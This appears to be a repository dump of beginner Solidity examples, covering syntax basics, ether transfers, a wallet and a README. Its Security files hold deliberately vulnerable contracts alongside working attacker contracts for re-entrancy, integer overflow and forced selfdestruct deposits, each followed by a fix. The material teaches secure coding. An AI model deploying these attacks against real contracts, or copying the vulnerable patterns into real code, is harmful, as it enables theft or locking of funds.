| require(msg.sender == owner, "Not owner"); 17 | _; 18 | } 19 | 20 | modifier validAddress(address _addr) { 21 | require(_addr != address(0), "Not valid address"); 22 | _; 23 | } 24 | 25 | function changeOwner(address _newOwner) public onlyOwner validAddress(_newOwner) { 26 | owner = _newOwner; 27 | } 28 | 29 | modifier noReentrancy() { 30 | require(!locked, "No reentrancy"); 31 | locked = true; 32 | _; 33 | locked = false; 34 | } 35 | 36 | function decrement(uint _i) public noReentrancy { 37 | x -= _i; 38 | if (x > 1) { 39 | decrement(_i - 1); 40 | } 41 | } 42 | } -------------------------------------------------------------------------------- /Basic/Payable.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract PayableContract { 6 | 7 | address payable public owner; 8 | 9 | modifier OnlyOwner { 10 | require(msg.sender == owner, "Only owner is allowed"); 11 | _; 12 | } 13 | 14 | //you can send some ether when deploying contract 15 | constructor() payable { 16 | owner = payable(msg.sender); 17 | } 18 | 19 | //call with some ethers, contract balance is updated automatically 20 | function depositEthers() public payable {} 21 | 22 | //receive or fallback must be defined when using send/transfer/call to send ether 23 | //receive() external payable {} 24 | 25 | function getBalance() external view returns (uint256) { 26 | return address(this).balance; 27 | } 28 | 29 | //fails when calling with ETH 30 | function depositTwoETH() external { 31 | 32 | } 33 | 34 | //transaction still fails when no receive/fallback function defined 35 | function depositETH(uint256 _amount) external payable { 36 | (bool success, ) = payable(address(this)).call{value: _amount}(""); 37 | require(success, "Failed to deposit ETH to this contract"); 38 | } 39 | 40 | //owner can receive ether as it is payable 41 | function withdraw(uint256 _amount) public OnlyOwner { 42 | uint _balance = address(this).balance; 43 | require(_amount <= _balance, "Insufficient balance!"); 44 | (bool success, ) = owner.call{value: _amount}(""); 45 | require(success, "Failed to send ETH"); 46 | } 47 | 48 | //_to can receive ether since it is payable 49 | function transfer(address payable _to, uint256 _amount) public OnlyOwner { 50 | (bool success, ) = _to.call{value: _amount}(""); 51 | require(success, "Failed to send ETH"); 52 | } 53 | 54 | 55 | 56 | } -------------------------------------------------------------------------------- /Basic/SendEther.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract Receivable { 6 | 7 | /* 8 | flow of the fallback() or receive() to be called: 9 | 10 | send ETH 11 | | 12 | msg.data is empty? 13 | / \ 14 | yes no 15 | / \ 16 | receive() exists? fallback() 17 | / \ 18 | yes no 19 | / \ 20 | receive() fallback() 21 | */ 22 | 23 | receive() external payable {} 24 | 25 | fallback() external payable {} 26 | 27 | function getBalance() public view returns (uint256) { 28 | return address(this).balance; 29 | } 30 | 31 | } 32 | 33 | 34 | contract SenderContra { 35 | 36 | //to deposit some ETH for testing 37 | function deposit() external payable { 38 | 39 | } 40 | 41 | //using transfer method, not recommended anymore 42 | function transferETH(address payable _to) public payable { 43 | _to.transfer(msg.value); 44 | } 45 | 46 | //using send method, not recommended anymore 47 | function sendETH(address payable _to) public payable { 48 | 49 | bool succ = _to.send(msg.value); 50 | require(succ, "Failed to send ETH"); 51 | } 52 | 53 | //using call method, recommended way to send ether 54 | function sendETHCall(address payable _to) public payable { 55 | 56 | (bool succ, ) = _to.call{value : msg.value}(""); 57 | require(succ, "Failed to send ETH"); 58 | } 59 | } -------------------------------------------------------------------------------- /Basic/SendEther2.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "hardhat/console.sol"; 6 | 7 | contract Receivable { 8 | 9 | /* 10 | flow of the fallback() or receive() to be called: 11 | 12 | send ETH 13 | | 14 | msg.data is empty? 15 | / \ 16 | yes no 17 | / \ 18 | receive() exists? fallback() 19 | / \ 20 | yes no 21 | / \ 22 | receive() fallback() 23 | */ 24 | 25 | function deposit() external payable { 26 | console.log("receivable deposit called"); 27 | console.log(msg.value); 28 | } 29 | 30 | function getBalance() public view returns (uint256) { 31 | return address(this).balance; 32 | } 33 | 34 | } 35 | 36 | interface IReceivable { 37 | function deposit() external payable; 38 | function getBalance() external view returns (uint256); 39 | } 40 | 41 | contract SenderContra { 42 | 43 | /* 44 | this is just for exploring the hard way to send ETH from one contract to 45 | another without using send, transfer or call method. 46 | */ 47 | 48 | //to deposit some ETH for testing 49 | function deposit() external payable { 50 | 51 | } 52 | 53 | //forward ether from current contract to the receivable contract 54 | function depositETH(IReceivable _contract) public payable { 55 | console.log(msg.value); 56 | IReceivable(_contract).deposit{value : msg.value}(); 57 | console.log("SenderContra deposit finished!"); 58 | } 59 | 60 | //load the receivable contract and interact with it 61 | function fundContract(address _addr) public payable { 62 | console.log(msg.value); 63 | Receivable _contract = Receivable(_addr); 64 | _contract.deposit{value : msg.value}(); 65 | console.log("fundContract finished!"); 66 | 67 | } 68 | } -------------------------------------------------------------------------------- /Basic/String.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier:MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | A function to convert uint256 to string. 7 | Use this OpenZeppelin util library production code: 8 | https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol 9 | */ 10 | 11 | function toString(uint256 value) pure returns (string memory) { 12 | // Inspired by OraclizeAPI's implementation - MIT licence 13 | // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol 14 | 15 | if (value == 0) { 16 | return "0"; 17 | } 18 | uint256 temp = value; 19 | uint256 digits; 20 | while (temp != 0) { 21 | digits++; 22 | temp /= 10; 23 | } 24 | bytes memory buffer = new bytes(digits); 25 | while (value != 0) { 26 | digits -= 1; 27 | buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); 28 | value /= 10; 29 | } 30 | return string(buffer); 31 | } 32 | -------------------------------------------------------------------------------- /Basic/Struct.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./StructDeclaration.sol"; 6 | 7 | contract ToDos { 8 | 9 | //an array of custom struct 10 | ToDo[] public tasks; 11 | 12 | //adding new item 13 | function createTask(uint8 _priority, string memory _text) public { 14 | tasks.push(ToDo({priority : _priority, text : _text, completed : false})); 15 | 16 | tasks.push(ToDo(_priority+1, _text, false)); 17 | 18 | ToDo memory d; 19 | d.priority = _priority + 2; 20 | d.text = _text; 21 | d.completed = false; 22 | tasks.push(d); 23 | 24 | } 25 | 26 | //retrieve a struct item 27 | function get(uint _index) public view returns (uint8 priorty, string memory text, bool completed) { 28 | ToDo memory todo = tasks[_index]; 29 | return(todo.priority, todo.text, todo.completed); 30 | } 31 | 32 | //update a struct item (by using the `storage` data location) 33 | function update(uint _index, uint8 _priority, string memory _text) public { 34 | ToDo storage todo = tasks[_index]; 35 | todo.text = _text; 36 | todo.priority = _priority; 37 | } 38 | 39 | //update attribute of the struct 40 | function markAsCompleted(uint _index) public { 41 | ToDo storage todo = tasks[_index]; 42 | todo.completed = true; 43 | } 44 | } -------------------------------------------------------------------------------- /Basic/StructDeclaration.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | struct ToDo { 6 | uint8 priority; 7 | string text; 8 | bool completed; 9 | } -------------------------------------------------------------------------------- /Basic/TryCatch.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract Callee { 6 | 7 | address public owner; 8 | 9 | //address cannot be 0 or 0x0000000000000000000000000000000000000001 10 | constructor(address _owner) { 11 | require(_owner != address(0), "invalid address"); 12 | assert(_owner != 0x0000000000000000000000000000000000000001); 13 | owner = _owner; 14 | } 15 | 16 | function checker(uint _x) public pure returns (uint) { 17 | require(_x > 5, "Input must be greater than 5!"); 18 | return (_x + 1); 19 | } 20 | 21 | } 22 | 23 | contract Caller { 24 | 25 | event Log(string message); 26 | event LogInt(uint n); 27 | event LogBytes(bytes data); 28 | event LogAddress(address _addr); 29 | uint public state; 30 | 31 | //with try & catch, state value will not be reverted when function call failed 32 | function tryCatch(uint _x) public { 33 | state = _x; 34 | 35 | Callee callee = new Callee(msg.sender); 36 | 37 | try callee.checker(_x) returns (uint result) 38 | { 39 | emit LogInt(result); 40 | } catch { 41 | emit Log("Callee.checker function call failed."); 42 | } 43 | } 44 | 45 | //state value reverted when function call failed 46 | function withoutTryCatch(uint _x) public { 47 | state = _x; 48 | Callee callee = new Callee(msg.sender); 49 | uint result = callee.checker(_x); 50 | emit LogInt(result); 51 | } 52 | 53 | function tryCatchNewContract(address _owner) public { 54 | 55 | try new Callee(_owner) returns (Callee c) { 56 | emit LogAddress(c.owner()); 57 | emit Log("Callee created!"); 58 | } catch Error(string memory reason) { 59 | //catch failing for revert or require 60 | emit Log(reason); 61 | } catch (bytes memory reason) { 62 | //catch failing for assert failure 63 | emit LogBytes(reason); 64 | } 65 | } 66 | 67 | } -------------------------------------------------------------------------------- /Basic/Variable.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "hardhat/console.sol"; 5 | 6 | contract Variables { 7 | 8 | //state variables 9 | //uint256 <=> uint 10 | uint public num = 123; 11 | uint8 public u8 =1; 12 | 13 | //int256 <=> int 14 | int public temperature = -10; 15 | int public minInt = type(int).min; 16 | int public maxInt = type(int).max; 17 | int8 public i8 = -1; 18 | 19 | //boolean; default as false 20 | bool public completed; 21 | //Fixed-size Byte Arrays 22 | bytes1 public symbol = "c"; 23 | bytes1 b = 0x11; 24 | 25 | //address (=>bytes20), default as address(0) 26 | address private owner; 27 | 28 | //dynamically-sized UTF-8-encoded string 29 | string public text = "hello"; 30 | //dynamically-sized byte array 31 | bytes public bytecode; 32 | 33 | constructor () public { 34 | owner = msg.sender; 35 | } 36 | 37 | function doIt() public view { 38 | //local variables within function scope 39 | uint i = 456; 40 | 41 | //global variables such as block.timestamp, msg.value, msg.sender etc. 42 | uint timestamp = block.timestamp; 43 | address sender = msg.sender; 44 | 45 | console.log(i); 46 | console.log(timestamp); 47 | console.log(sender); 48 | 49 | //local variable does not save changes 50 | uint after30days = timestamp + 30 days; 51 | console.log(after30days); 52 | 53 | completed = true; 54 | } 55 | 56 | function getBytecode() public{ 57 | bytecode = abi.encodeWithSignature("doIt()"); 58 | } 59 | } -------------------------------------------------------------------------------- /Basic/Visibility.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./String.sol"; 6 | 7 | /** 8 | External - Always use external when you do not want to call the function from within 9 | the same contract. This will save some gas as it does not copy the calldata into memory. 10 | 11 | Public - Use public for publicly accessible state variables and the functions to be 12 | accessible from the outside and inside. 13 | 14 | Internal - Use internal when state variables and functions should also be accessible in 15 | child contracts 16 | 17 | Private - Use private to protect your state variables and functions as you can hide them 18 | behind logic executed through internal or public functions. 19 | 20 | 21 | */ 22 | 23 | contract Base { 24 | 25 | //accessible by current contract 26 | string private privateVar = "this is private"; 27 | 28 | //accessible by all contracts, a publicVar() getter function is auto generated 29 | string public publicVar = "this is public"; 30 | 31 | //accessible by current and child contracts 32 | string internal interalVar = "this is internal"; 33 | string interalVar2 = "this is another internal variable"; 34 | 35 | //private function only can be called in current contract 36 | function privateFunc() private pure returns (string memory) { 37 | return "private function called"; 38 | } 39 | 40 | function testPrivateFunc() public pure returns (string memory) { 41 | return privateFunc(); 42 | } 43 | 44 | //internal function only can be called in current contract or child contracts 45 | function internalFunc() internal pure returns (string memory) { 46 | return "internal function called"; 47 | } 48 | 49 | function testInternalFunc() public pure virtual returns (string memory) { 50 | return internalFunc(); 51 | } 52 | 53 | //public function can be called internally or externally 54 | function publicFunc() public pure returns (string memory) { 55 | return "public function called"; 56 | } 57 | 58 | //external function only can be called externally 59 | function externalFunc() external pure returns (string memory) { 60 | return "external function called"; 61 | } 62 | 63 | function test() public pure returns(string memory) { 64 | string memory x = testInternalFunc(); 65 | 66 | return x; 67 | } 68 | 69 | 70 | 71 | } 72 | 73 | contract Child is Base { 74 | 75 | function testInternalFunc() public pure override returns (string memory) { 76 | return internalFunc(); 77 | } 78 | 79 | function testInternalVar() public view returns (string memory) { 80 | return interalVar; 81 | } 82 | 83 | function testPublicVar() public view returns (string memory) { 84 | return publicVar; 85 | } 86 | 87 | } 88 | 89 | contract Others { 90 | 91 | Base baseContract; 92 | 93 | constructor(address _contract) { 94 | baseContract = Base(_contract); 95 | } 96 | 97 | //compiler error as internal function is not accessible 98 | // function testInternalFunc() public view returns (string memory) { 99 | // return baseContract.internalFunc(); 100 | // } 101 | 102 | //compiler error as internal function is not accessible 103 | // function testInternalVar() public view returns (string memory) { 104 | // return baseContract.interalVar; 105 | // } 106 | 107 | 108 | function testPublicVar() public view returns (string memory) { 109 | return baseContract.publicVar(); 110 | } 111 | 112 | } -------------------------------------------------------------------------------- /Basic/wallet.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | contract EtherWallet { 6 | address payable public owner; 7 | 8 | constructor() { 9 | owner = payable(msg.sender); 10 | } 11 | 12 | modifier onlyOwner() { 13 | require(msg.sender == owner, "Not the owner!"); 14 | _; 15 | } 16 | 17 | //for receiving ether 18 | receive() external payable {} 19 | 20 | //only owner can withdraw fund 21 | function withdraw(uint _amount) public onlyOwner{ 22 | require(_amount <= address(this).balance, "Insufficient balance!"); 23 | (bool succ, ) = owner.call{value : _amount}(""); 24 | require(succ, "withdrawal transaction failed!"); 25 | } 26 | 27 | function getBalance() public view returns (uint balance) { 28 | balance = address(this).balance; 29 | } 30 | 31 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Solidity Smart Contract with 100 Examples 2 | 3 | Welcome to the repository for Solidity Smart Contract with 100 Examples! This repo aims to provide a complete list of practical solidity smart contract examples for new blockchain developers to quickly get hands-on experience on solidity programming. 4 | 5 | The content of the repo will constantly be updated. please **star** it if you find it helps. 6 | 7 | # Table of Content 8 | 9 | ## 1. Basic Syntax 10 | - [Solidity **variables**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Variable.sol) 11 | - [Using **Array** data type](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Array.sol) 12 | - [Declare **Enum** and use it in contract](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Enum.sol) 13 | - [Example of using **Mapping**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Mapping.sol) 14 | - [**Constant**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Constant.sol) vs [**immutable**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Immutable.sol) 15 | - [Example of **hash** function](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Hash.sol) 16 | - [Contract constructor](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Variable.sol) 17 | - [**If else** in control flow](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/If.sol) 18 | - [Function **modifier**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Modifier.sol) 19 | - [Function **visibility**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Visibility.sol) 20 | - [Different ways to write function **returns**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Functions.sol) 21 | - [Define your own data **struct**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Struct.sol) 22 | - [When to use **revert**, **require** or **assert**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/ErrorHandling.sol) 23 | - [How to use **try catch**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/TryCatch.sol) 24 | - [Use **interface** in contract](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/Interface.sol) 25 | - [Implement a **wallet** contract for fund deposit](https://github.com/codeforests/Solidity-100-Examples/blob/master/Basic/wallet.sol) 26 | 27 | - To be continued 28 | 29 | ## 2. Advanced 30 | - [Perform **token swap** from one token to another](https://github.com/codeforests/Solidity-100-Examples/blob/master/Advanced/tokenswap.sol) 31 | - [Implement a **multisign wallet contract** to approve transaction before execution](https://github.com/codeforests/Solidity-100-Examples/blob/master/Advanced/multisigwallet.sol) 32 | - [Using **create2** to deploy contract with same address to multiple blockchain](https://github.com/codeforests/Solidity-100-Examples/blob/master/Advanced/create2.sol) 33 | - To be continued 34 | 35 | ## 3. Security 36 | - [**Re-entrancy** attack](https://github.com/codeforests/Solidity-100-Examples/blob/master/Security/ReEntrancy.sol) 37 | - [Arithmetic **overflow & underflow**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Security/Overflow.sol) 38 | - [Attacking contract using **selfdestruct**](https://github.com/codeforests/Solidity-100-Examples/blob/master/Security/SelfDestruction.sol) 39 | - To be continued 40 | 41 | contact me [@twitter](https://twitter.com/_0xken) if you have any feedback. Thanks 42 | 43 | 44 | -------------------------------------------------------------------------------- /Security/Overflow.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.7.0; 4 | 5 | /* 6 | Arithmetic overflow or underflow does not throw any error prior to solidity 0.8; 7 | from 0.8 onwards, an error will be thrown out when overflow or underflow happens 8 | 9 | */ 10 | contract VaultContract { 11 | mapping(address => uint) public balances; 12 | mapping(address => uint) public stakingPeriod; 13 | 14 | function deposit() external payable { 15 | balances[msg.sender] += msg.value; 16 | stakingPeriod[msg.sender] = block.timestamp + 1 weeks; 17 | } 18 | 19 | function increasestakingPeriod(uint _seconds) public { 20 | stakingPeriod[msg.sender] += _seconds; 21 | } 22 | 23 | function withdraw() public { 24 | require(balances[msg.sender] > 0, "insufficient fund"); 25 | require(block.timestamp > stakingPeriod[msg.sender], "lock up period not yet ended"); 26 | uint amount = balances[msg.sender]; 27 | balances[msg.sender] = 0; 28 | 29 | (bool success, ) = msg.sender.call{value : amount}(""); 30 | require(success, "Failed to withdraw fund"); 31 | } 32 | } 33 | 34 | /* 35 | The attacking contract is able to withdraw fund before the lock up period ended 36 | */ 37 | contract AttackingContract { 38 | 39 | VaultContract public vault; 40 | 41 | constructor(address _contract) { 42 | vault = VaultContract(_contract); 43 | } 44 | 45 | fallback() external payable {} 46 | 47 | function attack() public payable { 48 | 49 | vault.deposit{value: msg.value}(); 50 | uint lockedPeriod = vault.stakingPeriod(address(this)); 51 | //to increase the number to reach 2**256 + 1 and cause uint overflow 52 | vault.increasestakingPeriod( 53 | type(uint).max + 1 - lockedPeriod 54 | ); 55 | 56 | vault.withdraw(); 57 | } 58 | 59 | function getBalance() public view returns (uint) { 60 | return address(this).balance; 61 | } 62 | } 63 | 64 | 65 | // Solution: Using SafeMath library or upgrade contract to Solidity > 0.8.0 66 | // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol 67 | 68 | 69 | contract ForYourTrying { 70 | 71 | //returns 0 72 | function uint256Overflow() public pure returns (uint256) { 73 | return type(uint256).max + 1; 74 | } 75 | 76 | //returns 2**256 - 1 77 | function uint256Underflow() public pure returns (uint256) { 78 | return type(uint256).min - 1; 79 | } 80 | 81 | //returns 0 82 | function uint8Overflow() public pure returns (uint8) { 83 | return type(uint8).max + 1; 84 | } 85 | 86 | //returns 255 87 | function uint8Underflow() public pure returns (uint8) { 88 | return type(uint8).min - 1; 89 | } 90 | 91 | } -------------------------------------------------------------------------------- /Security/ReEntrancy.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /** 6 | re-entrancy attack exploits a contract function by calling it multiple times 7 | where is supposed to be called only once. 8 | */ 9 | contract EtherPool { 10 | 11 | mapping(address => uint256) public balances; 12 | 13 | function deposit() public payable { 14 | balances[msg.sender] += msg.value; 15 | } 16 | 17 | //withdraw function can be exploited by calling multiple times before the balance updated 18 | function withdraw() public { 19 | uint256 balance = balances[msg.sender]; 20 | require(balance > 0, "not fund to withdraw"); 21 | (bool success, ) = msg.sender.call{value : balance}(""); 22 | require(success, "failed to withdraw"); 23 | balances[msg.sender] = 0; 24 | } 25 | 26 | function getBalance() public view returns (uint256) { 27 | return address(this).balance; 28 | } 29 | } 30 | 31 | contract AttackingContract { 32 | 33 | EtherPool public pool; 34 | 35 | constructor(address _poolContract) { 36 | pool = EtherPool(_poolContract); 37 | } 38 | 39 | //fallback is triggered when 40 | fallback() external payable { 41 | if(address(pool).balance >= 1 ether) { 42 | pool.withdraw(); 43 | } 44 | } 45 | 46 | function attack() external payable { 47 | require(msg.value >= 1 ether); 48 | pool.deposit{value: 1 ether}(); 49 | pool.withdraw(); 50 | } 51 | 52 | function getBalance() public view returns (uint256) { 53 | return address(this).balance; 54 | } 55 | 56 | } 57 | 58 | // solution : 1) Updating balance to 0 first before function call 2) Implementing Re-Entrancy Guard modifier 59 | //e.g.: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol 60 | 61 | contract ReEntrancyGuard { 62 | 63 | bool internal locked; 64 | 65 | modifier noReentrant() { 66 | require(!locked, "No re-entrancy"); 67 | locked = true; 68 | _; 69 | locked = false; 70 | } 71 | } 72 | 73 | -------------------------------------------------------------------------------- /Security/SelfDestruction.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | /* 6 | A JackPot game contract that sends all funds to the winner when pooled amount reaches 7 | to the target amount. 8 | Reference: https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-2-730db0aa4834 9 | 10 | */ 11 | 12 | contract JackPot { 13 | 14 | uint public targetPoolAmount = 4 ether; 15 | address public winner; 16 | 17 | function deposit() public payable { 18 | require(msg.value == 1 ether, "only 1 ether"); 19 | 20 | //vulnerability here 21 | uint balance = address(this).balance; 22 | require(balance < targetPoolAmount, "pool closed"); 23 | 24 | if(balance >= targetPoolAmount) { 25 | winner = msg.sender; 26 | } 27 | } 28 | 29 | function claimPrice() public { 30 | require(msg.sender == winner, "not the winner"); 31 | winner = address(0); 32 | (bool success, ) = msg.sender.call{value : address(this).balance}(""); 33 | require(success, "failed to transfer ether"); 34 | } 35 | 36 | //throw error when receiving any ether 37 | fallback() payable external { 38 | revert(); 39 | } 40 | } 41 | 42 | /* 43 | selfdestuct is designed for removing a unused/confusion contracts or 44 | stop loss when contract is under serious attack. 45 | 46 | below attacking contract uses selfdestuct function to send either 47 | back to the pool contract without calling any of the functions in 48 | pool contract. This causes the balance of the pool contract reaches 49 | to the target amount without a winner. The fund will be locked forever. 50 | */ 51 | contract AttackingContract { 52 | JackPot pool; 53 | 54 | constructor(JackPot _pool) { 55 | pool = JackPot(_pool); 56 | } 57 | 58 | //send some ether to make the pool amount reaches the target pool amount 59 | function attack() public payable { 60 | address payable addr = payable(address(pool)); 61 | // ether sent back to `addr` without triggering its fallback/receive function 62 | selfdestruct(addr); 63 | } 64 | } 65 | 66 | // Solution: Do not use this.balance, use a state variable to calculate the accumulating 67 | // balance. e.g. balance += msg.value 68 | 69 | 70 | /* 71 | selfdestruct does two things: 72 | 73 | 1.deleting the bytecode at that address 74 | 2.sending all the contract’s funds to a target address 75 | 76 | after selfdestruct function is called, it does not throw any error 77 | when you interact with any of the contract functions 78 | */ 79 | 80 | contract TinyContract { 81 | 82 | address payable private owner; 83 | uint256 count; 84 | 85 | constructor() { 86 | owner = payable(msg.sender); 87 | } 88 | 89 | function reset(uint256 _count) public { 90 | count = _count; 91 | } 92 | 93 | function increase() public { 94 | count += 1; 95 | } 96 | 97 | function getCount() public view returns(uint256) { 98 | return count; 99 | } 100 | 101 | //removes all bytecode from contract and send all ethers back to owner 102 | function destory() public { 103 | selfdestruct(owner); 104 | } 105 | } --------------------------------------------------------------------------------